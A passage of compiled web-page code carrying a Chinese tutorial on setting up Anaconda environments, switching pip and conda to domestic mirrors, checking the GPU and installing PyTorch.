Edition"}),"\uff0c\u9009\u62e9\u76f8\u5e94\u7cfb\u7edfDownLoad\uff0c\u6b64\u5904\u4ee5Windows\u4e3a\u4f8b\uff08Linux\u53ef\u4ee5\u70b9\u51fb",(0,i.jsx)(e.a,{href:"https://docs.conda.io/en/latest/miniconda.html",children:"\u94fe\u63a5"}),"\u9009\u62e9\u5408\u9002\u7684\u7248\u672c\u8fdb\u884c\u4e0b\u8f7d\u6216\u8005\u901a\u8fc7\u5b98\u65b9\u63d0\u4f9b\u7684shell\u811a\u672c\u8fdb\u884c\u4e0b\u8f7d\uff09\uff1a"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"anaconda",src:s(73929).A+"",width:"1915",height:"961"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",children:"Step 2\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u5f00\u59cb\u9875\u627e\u5230Anaconda Prompt\uff0c\u4e00\u822c\u5728Anaconda3\u7684\u6587\u4ef6\u5939\u4e0b,( Linux\u5728\u7ec8\u7aef\u4e0b\u5c31\u884c\u4e86\uff09"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"prompt",src:s(34852).A+"",width:"397",height:"378"})}),"\n",(0,i.jsx)(e.h3,{id:"step-3\u521b\u5efa\u865a\u62df\u73af\u5883",children:"Step 3\uff1a\u521b\u5efa\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsxs)(e.p,{children:["Linux\u5728\u7ec8\u7aef(",(0,i.jsx)(e.code,{children:"Ctrl"}),"+",(0,i.jsx)(e.code,{children:"Alt"}),"+",(0,i.jsx)(e.code,{children:"T"}),")\u8fdb\u884c\uff0cWindows\u5728",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"\u8fdb\u884c"]}),"\n",(0,i.jsx)(e.h4,{id:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",children:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u67e5\u770b\u5df2\u7ecf\u5b89\u88c5\u597d\u7684\u865a\u62df\u73af\u5883\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u8fd9\u91cc\u5df2\u7ecf\u6709\u4e24\u4e2a\u73af\u5883\u5b58\u5728\u4e86"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda env list \n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"env_list",src:s(97998).A+"",width:"1462",height:"761"})}),"\n",(0,i.jsx)(e.h4,{id:"\u521b\u5efa\u865a\u62df\u73af\u5883",children:"\u521b\u5efa\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u521b\u5efa\u4e0d\u540c\u7248\u672c\u7684\u865a\u62df\u73af\u5883\u6765\u6ee1\u8db3\u6211\u4eec\u7684\u4e00\u4e9b\u9700\u6c42\u3002\u4e0b\u9762\u6211\u4eec\u4ecb\u7ecd\u521b\u5efa\u865a\u62df\u73af\u5883\u7684\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda create -n env_name python==version \n# \u6ce8\uff1a\u5c06env_name \u66ff\u6362\u6210\u4f60\u7684\u73af\u5883\u7684\u540d\u79f0\uff0cversion\u66ff\u6362\u6210\u5bf9\u5e94\u7684\u7248\u672c\u53f7\uff0ceg\uff1a3.8\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(96641).A+"",width:"975",height:"509"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u8fd9\u91cc\u5ffd\u7565\u6211\u4eec\u7684warning\uff0c\u56e0\u4e3a\u6211\u4eec\u6d4b\u8bd5\u7684\u65f6\u5019\u5df2\u7ecf\u5b89\u4e86\u53c8\u5378\u8f7d\u4e00\u904d\u4e86\uff0c\u6b63\u5e38\u65f6\u662f\u4e0d\u4f1a\u6709warning\u7684\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5728\u9009\u62e9Python\u7248\u672c\u65f6\uff0c\u4e0d\u8981\u9009\u62e9\u592a\u9ad8\uff0c\u5efa\u8bae\u9009\u62e93.6-3.8\uff0c\u7248\u672c\u8fc7\u9ad8\u4f1a\u5bfc\u81f4\u76f8\u5173\u5e93\u4e0d\u9002\u914d\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"\u5b89\u88c5\u5305",children:"\u5b89\u88c5\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda install package_name \n# \u6ce8\uff1apackage_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u5305\u7684\u540d\u79f0\uff0ceg: pandas\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5378\u8f7d\u5305",children:"\u5378\u8f7d\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda remove package_name\n# \u6ce8\uff1apackage_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u5305\u7684\u540d\u79f0\uff0ceg: pandas\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",children:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda list\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",children:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda remove -n env_name --all \n# \u6ce8\uff1aenv_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u73af\u5883\u7684\u540d\u79f0\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",children:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda activate env_name\n# \u6ce8\uff1aenv_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u73af\u5883\u7684\u540d\u79f0\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u9000\u51fa\u5f53\u524d\u73af\u5883",children:"\u9000\u51fa\u5f53\u524d\u73af\u5883"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda deactivate\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5173\u4e8e\u66f4\u591a\u7684\u547d\u4ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u67e5\u770bAnaconda/miniconda\u5b98\u65b9\u63d0\u4f9b\u7684\u547d\u4ee4\uff0c\u5b98\u7f51\u94fe\u63a5\uff1a",(0,i.jsx)(e.a,{href:"https://docs.conda.io/projects/conda/en/latest/commands.html#conda-general-commands",children:"\u70b9\u51fb\u8fd9\u91cc"})]}),"\n",(0,i.jsx)(e.h3,{id:"step-4\u6362\u6e90",children:"Step 4\uff1a\u6362\u6e90"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u5b89\u88c5package\u65f6\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u4f7f\u7528",(0,i.jsx)(e.code,{children:"pip install package_name"}),"\u548c",(0,i.jsx)(e.code,{children:"conda install package_name"})," \u7684\u547d\u4ee4\uff0c\u4f46\u662f\u4e00\u4e9bpackage\u4e0b\u8f7d\u901f\u5ea6\u4f1a\u5f88\u6162\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c\u6362\u6e90\uff0c\u6362\u6210\u56fd\u5185\u6e90\uff0c\u52a0\u5feb\u6211\u4eec\u7684\u4e0b\u8f7d\u901f\u5ea6\u3002\u4ee5\u4e0b\u4fbf\u662f\u4e24\u79cd\u5bf9\u5e94\u65b9\u5f0f\u7684\u6c38\u4e45\u6362\u6e90\u3002\u5982\u679c\u6211\u4eec\u4ec5\u4ec5\u60f3\u4e3a\u5355\u6b21\u4e0b\u8f7d\u6362\u6e90\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"pip install package_name -i https://pypi.tuna.tsinghua.edu.cn/simple"}),"\u8fdb\u884c\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"pip\u6362\u6e90",children:"pip\u6362\u6e90"}),"\n",(0,i.jsx)(e.h5,{id:"linux",children:"Linux\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["Linux\u4e0b\u7684\u6362\u6e90\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u5728\u7528\u6237\u76ee\u5f55\u4e0b\u65b0\u5efa\u6587\u4ef6\u5939",(0,i.jsx)(e.code,{children:".pip"}),"\uff0c\u5e76\u4e14\u5728\u6587\u4ef6\u5939\u5185\u65b0\u5efa\u6587\u4ef6",(0,i.jsx)(e.code,{children:"pip.conf"}),"\uff0c\u5177\u4f53\u547d\u4ee4\u5982\u4e0b"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd ~\nmkdir .pip/\nvi pip.conf\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u968f\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,i.jsx)(e.code,{children:"pip.conf"}),"\u6dfb\u52a0\u4e0b\u65b9\u7684\u5185\u5bb9:"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"[global]\nindex-url = http://pypi.douban.com/simple\n[install]\nuse-mirrors =true\nmirrors =http://pypi.douban.com/simple/\ntrusted-host =pypi.douban.com\n"})}),"\n",(0,i.jsx)(e.h5,{id:"windows",children:"Windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["1\u3001\u6587\u4ef6\u7ba1\u7406\u5668\u6587\u4ef6\u8def\u5f84\u5730\u5740\u680f\u6572\uff1a",(0,i.jsx)(e.code,{children:"%APPDATA%"})," \u56de\u8f66\uff0c\u5feb\u901f\u8fdb\u5165 ",(0,i.jsx)(e.code,{children:"C:\\Users\\\u7535\u8111\u7528\u6237\\AppData\\Roaming"})," \u6587\u4ef6\u5939\u4e2d\n2\u3001\u65b0\u5efa pip \u6587\u4ef6\u5939\u5e76\u5728\u6587\u4ef6\u5939\u4e2d\u65b0\u5efa ",(0,i.jsx)(e.code,{children:"pip.ini"})," \u914d\u7f6e\u6587\u4ef6\n3\u3001\u6211\u4eec\u9700\u8981\u5728",(0,i.jsx)(e.code,{children:"pip.ini"})," \u914d\u7f6e\u6587\u4ef6\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528\u8bb0\u4e8b\u672c\u6253\u5f00\uff0c\u8f93\u5165\u4ee5\u4e0b\u5185\u5bb9\uff0c\u5e76\u6309\u4e0bctrl+s\u4fdd\u5b58\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528\u7684\u662f\u8c46\u74e3\u6e90\u4e3a\u4f8b\u5b50\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"[global]\nindex-url = http://pypi.douban.com/simple\n[install]\nuse-mirrors =true\nmirrors =http://pypi.douban.com/simple/\ntrusted-host =pypi.douban.com\n"})}),"\n",(0,i.jsxs)(e.h4,{id:"conda\u6362\u6e90\u6e05\u534e\u6e90\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",children:["conda\u6362\u6e90\uff08\u6e05\u534e\u6e90\uff09",(0,i.jsx)(e.a,{href:"https://mirrors.tuna.tsinghua.edu.cn/help/anaconda/",children:"\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9"})]}),"\n",(0,i.jsx)(e.h5,{id:"windows\u7cfb\u7edf",children:"Windows\u7cfb\u7edf\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["TUNA \u63d0\u4f9b\u4e86 Anaconda \u4ed3\u5e93\u4e0e\u7b2c\u4e09\u65b9\u6e90\u7684\u955c\u50cf\uff0c\u5404\u7cfb\u7edf\u90fd\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u7528\u6237\u76ee\u5f55\u4e0b\u7684 ",(0,i.jsx)(e.code,{children:".condarc"})," \u6587\u4ef6\u3002Windows \u7528\u6237\u65e0\u6cd5\u76f4\u63a5\u521b\u5efa\u540d\u4e3a ",(0,i.jsx)(e.code,{children:".condarc"})," \u7684\u6587\u4ef6\uff0c\u53ef\u5148\u6267\u884c",(0,i.jsx)(e.code,{children:"conda config --set show_channel_urls yes"}),"\u751f\u6210\u8be5\u6587\u4ef6\u4e4b\u540e\u518d\u4fee\u6539\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5b8c\u6210\u8fd9\u4e00\u6b65\u540e\uff0c\u6211\u4eec\u9700\u8981\u4fee\u6539",(0,i.jsx)(e.code,{children:"C:\\Users\\User_name\\.condarc"}),"\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6253\u5f00\u540e\u5c06\u6587\u4ef6\u91cc\u539f\u59cb\u5185\u5bb9\u5220\u9664\uff0c\u5c06\u4e0b\u9762\u7684\u5185\u5bb9\u590d\u5236\u8fdb\u53bb\u5e76\u4fdd\u5b58\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"channels:\n - defaults\nshow_channel_urls: true\ndefault_channels:\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2\ncustom_channels:\n conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b65\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u6253\u5f00",(0,i.jsx)(e.code,{children:"Anaconda Prompt"})," \u8fd0\u884c ",(0,i.jsx)(e.code,{children:"conda clean -i"})," \u6e05\u9664\u7d22\u5f15\u7f13\u5b58\uff0c\u4fdd\u8bc1\u7528\u7684\u662f\u955c\u50cf\u7ad9\u63d0\u4f9b\u7684\u7d22\u5f15\u3002"]}),"\n",(0,i.jsx)(e.h5,{id:"linux\u7cfb\u7edf",children:"Linux\u7cfb\u7edf\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728Linux\u7cfb\u7edf\u4e0b\uff0c\u6211\u4eec\u8fd8\u662f\u9700\u8981\u4fee\u6539",(0,i.jsx)(e.code,{children:".condarc"}),"\u6765\u8fdb\u884c\u6362\u6e90"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd ~\nvi .condarc\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728",(0,i.jsx)(e.code,{children:"vim"}),"\u4e0b\uff0c\u6211\u4eec\u9700\u8981\u8f93\u5165",(0,i.jsx)(e.code,{children:"i"}),"\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u5c06\u4e0a\u65b9\u5185\u5bb9\u7c98\u8d34\u8fdb\u53bb\uff0c\u6309",(0,i.jsx)(e.code,{children:"ESC"}),"\u9000\u51fa\u7f16\u8f91\u6a21\u5f0f\uff0c\u8f93\u5165",(0,i.jsx)(e.code,{children:":wq"}),"\u4fdd\u5b58\u5e76\u9000\u51fa"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6362\u6e90\u5185\u5bb9",src:s(5956).A+"",width:"1216",height:"813"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"conda config --show default_channels"}),"\u68c0\u67e5\u4e0b\u662f\u5426\u6362\u6e90\u6210\u529f\uff0c\u5982\u679c\u51fa\u73b0\u4e0b\u56fe\u5185\u5bb9\uff0c\u5373\u4ee3\u8868\u6211\u4eec\u6362\u6e90\u6210\u529f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(87704).A+"",width:"1213",height:"798"})}),"\n",(0,i.jsxs)(e.p,{children:["\u540c\u65f6\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981",(0,i.jsx)(e.code,{children:"conda clean -i"})," \u6e05\u9664\u7d22\u5f15\u7f13\u5b58\uff0c\u4fdd\u8bc1\u7528\u7684\u662f\u955c\u50cf\u7ad9\u63d0\u4f9b\u7684\u7d22\u5f15\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"122-\u67e5\u770b\u663e\u5361",children:"1.2.2 \u67e5\u770b\u663e\u5361"}),"\n",(0,i.jsx)(e.p,{children:"\u8be5\u90e8\u5206\u5982\u679c\u4ec5\u4ec5\u53ea\u6709CPU\u6216\u8005\u96c6\u663e\u7684\u5c0f\u4f19\u4f34\u4eec\u53ef\u4ee5\u8df3\u8fc7\u8be5\u90e8\u5206"}),"\n",(0,i.jsx)(e.h3,{id:"windows-1",children:"windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728",(0,i.jsx)(e.code,{children:"cmd/terminal\u4e2d"}),"\u8f93\u5165",(0,i.jsx)(e.code,{children:"nvidia-smi"}),"\uff08Linux\u548cWin\u547d\u4ee4\u4e00\u6837\uff09\u3001\u4f7f\u7528NVIDIA\u63a7\u5236\u9762\u677f\u548c\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u67e5\u770b\u81ea\u5df1\u662f\u5426\u6709NVIDIA\u7684\u72ec\u7acb\u663e\u5361\u53ca\u5176\u578b\u53f7"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u67e5\u770bGPU",src:s(50542).A+"",width:"834",height:"742"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u67e5\u770b\u663e\u5361",src:s(36579).A+"",width:"958",height:"710"})}),"\n",(0,i.jsx)(e.h3,{id:"linux-1",children:"linux\uff1a"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"Linux\u67e5\u770bGPU",src:s(7721).A+"",width:"1330",height:"833"})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u770b\u4e0b\u7248\u672c\u53f7\uff0c\u770b\u81ea\u5df1\u53ef\u4ee5\u517c\u5bb9\u7684CUDA\u7248\u672c\uff0c\u7b49\u4f1a\u5b89\u88c5PyTorch\u65f6\u662f\u53ef\u4ee5\u5411\u4e0b\u517c\u5bb9\u7684\u3002\u5177\u4f53\u9002\u914d\u8868\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u9002\u914d\u8868",src:s(64936).A+"",width:"801",height:"644"})}),"\n",(0,i.jsx)(e.h2,{id:"123-\u5b89\u88c5pytorch",children:"1.2.3 \u5b89\u88c5PyTorch"}),"\n",(0,i.jsxs)(e.h3,{id:"step-1\u767b\u5f55pytorch\u5b98\u7f51",children:["Step 1\uff1a\u767b\u5f55",(0,i.jsx)(e.a,{href:"https://pytorch.org/",children:"PyTorch\u5b98\u7f51"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(45846).A+"",width:"1924",height:"943"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2install",children:"Step 2\uff1aInstall"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(82082).A+"",width:"1443",height:"461"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u4e2a\u754c\u9762\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u672c\u5730\u5f00\u59cb\uff08Start Locally\uff09\uff0c\u4e91\u5f00\u53d1\uff08Cloud Partners)\uff0c\u4ee5\u524d\u7684Pytorch\u7248\u672c\uff08Previous PyTorch Versions\uff09\uff0c\u79fb\u52a8\u7aef\u5f00\u53d1\uff08Mobile\uff09\uff0c\u5728\u6b64\u5904\u6211\u4eec\u9700\u8981\u8fdb\u884c\u672c\u5730\u5b89\u88c5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"step-3\u9009\u62e9\u547d\u4ee4",children:"Step 3\uff1a\u9009\u62e9\u547d\u4ee4"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u7ed3\u5408\u81ea\u5df1\u60c5\u51b5\u9009\u62e9\u547d\u4ee4\u5e76\u590d\u5236\u4e0b\u6765\uff0c\u7136\u540e\u4f7f\u7528conda\u4e0b\u8f7d\u6216\u8005pip\u4e0b\u8f7d\uff08\u5efa\u8baeconda\u5b89\u88c5\uff09"}),"\n",(0,i.jsxs)(e.p,{children:["\u6253\u5f00",(0,i.jsx)(e.code,{children:"Terminal"}),"\uff0c\u8f93\u5165",(0,i.jsx)(e.code,{children:"conda activate env_name"}),"(env_name \u4e3a\u4f60\u5bf9\u5e94\u7684\u73af\u5883\u540d\u79f0)\uff0c\u5207\u6362\u5230\u5bf9\u5e94\u7684\u73af\u5883\u4e0b\u9762\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u884cPyTorch\u7684\u5b89\u88c5\u4e86\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(64610).A+"",width:"1484",height:"894"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"Stable"}),"\u4ee3\u8868\u7684\u662f\u7a33\u5b9a\u7248\u672c\uff0c",(0,i.jsx)(e.strong,{children:"Preview"}),"\u4ee3\u8868\u7684\u662f\u5148\u884c\u7248\u672c"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u7ed3\u5408\u7535\u8111\u662f\u5426\u6709\u663e\u5361\uff0c\u9009\u62e9CPU\u7248\u672c\u8fd8\u662fCUDA\u7248\u672c\uff0cCUDA\u7248\u672c\u9700\u8981\u62e5\u6709\u72ec\u663e\u4e14\u662fNVIDIA\u7684GPU"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\u5b98\u65b9\u5efa\u8bae\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.strong,{children:"Anaconda/miniconda"}),"\u6765\u8fdb\u884c\u7ba1\u7406"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u5173\u4e8e\u5b89\u88c5\u7684\u7cfb\u7edf\u8981\u6c42"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Windows"}),"\uff1a\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"Windows 7\u53ca\u66f4\u9ad8\u7248\u672c\uff1b\u5efa\u8bae\u4f7f\u7528Windows 10\u6216\u8005\u66f4\u9ad8\u7684\u7248\u672c"}),"\n",(0,i.jsx)(e.li,{children:"Windows Server 2008 r2 \u53ca\u66f4\u9ad8\u7248\u672c"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Linux\uff1a\u4ee5\u5e38\u89c1\u7684CentOS\u548cUbuntu\u4e3a\u4f8b"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"CentOS, \u6700\u4f4e\u7248\u672c7.3-1611"}),"\n",(0,i.jsx)(e.li,{children:"Ubuntu, \u6700\u4f4e\u7248\u672c 13.04\uff0c\u8fd9\u91cc\u4f1a\u5bfc\u81f4cuda\u5b89\u88c5\u7684\u6700\u5927\u7248\u672c\u4e0d\u540c"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"macOS"}),"\uff1a\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"macOS 10.10\u53ca\u5176\u4ee5\u4e0a"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\u6709\u4e9b\u7535\u8111\u6240\u652f\u6301\u7684cuda\u7248\u672c<10.2\uff0c\u6b64\u65f6\u6211\u4eec\u9700\u8981\u8fdb\u884c\u624b\u52a8\u964d\u7ea7\uff0c\u5373\u5c31\u662fcudatoolkit = \u4f60\u6240\u9002\u5408\u7684\u7248\u672c\uff0c\u4f46\u662f\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e0b\u4e00\u5b9a\u8981\u4fdd\u6301PyTorch\u548ccudatoolkit\u7684\u7248\u672c\u9002\u914d\u3002\u67e5\u770b",(0,i.jsx)(e.a,{href:"https://pytorch.org/get-started/previous-versions/",children:"Previous PyTorch Versions | PyTorch"})]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"step-4\u5728\u7ebf\u4e0b\u8f7d",children:"Step 4\uff1a\u5728\u7ebf\u4e0b\u8f7d"}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u6211\u4eec\u4f7f\u7528\u7684",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"\u8fdb\u884c\u4e0b\u8f7d\u7684\u8bdd\uff0c\u6211\u4eec\u9700\u8981\u5148\u901a\u8fc7",(0,i.jsx)(e.code,{children:"conda activate env_name"}),"\uff0c\u6fc0\u6d3b\u6211\u4eec\u7684\u865a\u62df\u73af\u5883\u4e2d\u53bb\uff0c\u518d\u8f93\u5165\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),": \u6211\u4eec\u9700\u8981\u8981\u628a\u4e0b\u8f7d\u6307\u4ee4\u540e\u9762\u7684 -c pytorch \u53bb\u6389\u4ee5\u4fdd\u8bc1\u4f7f\u7528\u6e05\u534e\u6e90\u4e0b\u8f7d\uff0c\u5426\u5219\u8fd8\u662f\u9ed8\u8ba4\u4ece\u5b98\u7f51\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"step-5\u79bb\u7ebf\u4e0b\u8f7d",children:"Step 5\uff1a\u79bb\u7ebf\u4e0b\u8f7d"}),"\n",(0,i.jsx)(e.h4,{id:"windows-2",children:"Windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u5b89\u88c5\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u53ef\u80fd\u4f1a\u51fa\u73b0\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\uff0c\u5bfc\u81f4\u5728\u7ebf\u4e0b\u8f7d\u4e0d\u6210\u529f\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.strong,{children:"\u79bb\u7ebf\u4e0b\u8f7d"}),"\u7684\u65b9\u6cd5\u8fdb\u884c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u4e0b\u8f7d\u5730\u5740"}),"\uff1a",(0,i.jsx)(e.a,{href:"https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/",children:"https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/"})]}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u8fc7\u4e0a\u9762\u4e0b\u8f7d\u5730\u5740\uff0c\u6211\u4eec\u9700\u8981\u4e0b\u8f7d\u597d\u5bf9\u5e94\u7248\u672c\u7684pytorch\u548c torchvision \u5305\uff0c\u7136\u540e\u6253\u5f00",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"/",(0,i.jsx)(e.code,{children:"Terminal"}),"\u4e2d\uff0c\u8fdb\u5165\u6211\u4eec\u5b89\u88c5\u7684\u8def\u5f84\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd package_location\nconda activate 